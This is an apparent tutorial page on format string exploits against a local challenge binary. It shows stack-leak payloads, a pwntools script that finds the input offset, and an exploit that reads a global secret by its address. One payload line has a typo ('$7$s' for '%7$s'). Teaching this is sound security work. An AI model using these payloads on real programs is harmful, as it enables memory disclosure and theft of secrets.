Data Leak

Using format string exploitation is possible to read arbitrary value into the stack.

Reading values

As explained here, if there is more placeholders than arguments when calling the printf function, it will use the next values into the stack as arguments.

$ ./chall
Enter the password: %x.%x.%x.%x.%x
permission denied using password :
ffd98b6c.f.9c2e1a0.f7f3b000.f7f77230

It's possible to use any type specifier to leak as needed type, for example with the %d :

$ ./chall
Enter the password: %d.%d.%d.%d.%d
permission denied using password :
-2766116.15.154689952.-134955008.-134708688

Offsets

In most of binaries, the user input has a length limitation, so how to do if the needed value is the 5th stack value and the input limit is 2 ?

$ ./chall
Enter the password: %5$x
permission denied using password :
f7f77230

Using the parameter field allows to choose the argument to be printed.

Arbitrary data read

When the %s placeholder is used, the formatted parameter need to be a pointer to the string value. So it's possible to inject an arbitrary pointer address into the user input and then read this value as previously show.

Thus, the payload must be [targeted address]%[offset]$s

Retrieving user input offset

To retrieve the user input offset, send 4 well known bytes such as "0x41414141" (which is 4 'A') followed by the format string "%1$x" and increase the value till retrieve the 4 bytes.

This technique is commonly call "Fuzzing"

Here is a python script to do that :

from pwn import *

# Iterate over a range of integers 
for i in range(10):
    # Construct a payload that includes the current integer as offset
    payload = f"AAAA%{i}$x".encode()

    # Start a new process of the "chall" binary
    p = process("./chall")

    # Send the payload to the process
    p.sendline(payload)

    # Read and store the output of the process
    output = p.clean()

    # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
    if b"41414141" in output:
        # If the string is found, log the success message and break out of the loop
        log.success(f"User input is at offset : {i}")
        break

    # Close the process
    p.close()
$ python3 test.py
[+] User input is at offset : 7

Read arbitrary value

For this example let's assume that there is a global declared variable called "secret" and PIE isn't set.

The first condition to read an arbitrary value is to know its address. In the example, the target is a global variable and as a global variable, it's within the binary itself. The location can be using readelf to check for symbols.

$ readelf -s chall | grep secret
    57: 0804c02c    16 OBJECT  GLOBAL DEFAULT   23 secret

Thus, the payload must be [targeted address]%[offset]$s --> \x2c\xc0\x04\x08$7$s

Here is a python script to do that :

from pwn import *

# Start a new process of the "chall" binary
p = process('./chall')

# Convert the address 0x0804c02c to a packed 32-bit integer
addr = p32(0x0804c02c)

# Construct the payload by concatenating the packed integer and the string "%7$s"
payload = addr + b"%7$s"

# Send the payload to the process
p.sendline(payload)

# Read and log the output of the process
log.success(p.clean())

# Close the process
p.close()
$ python3 exploit.py
[+] b'Enter password: Permission denied using password :\n,\xc0\x04\x08SecretPassword!\n'

Last updated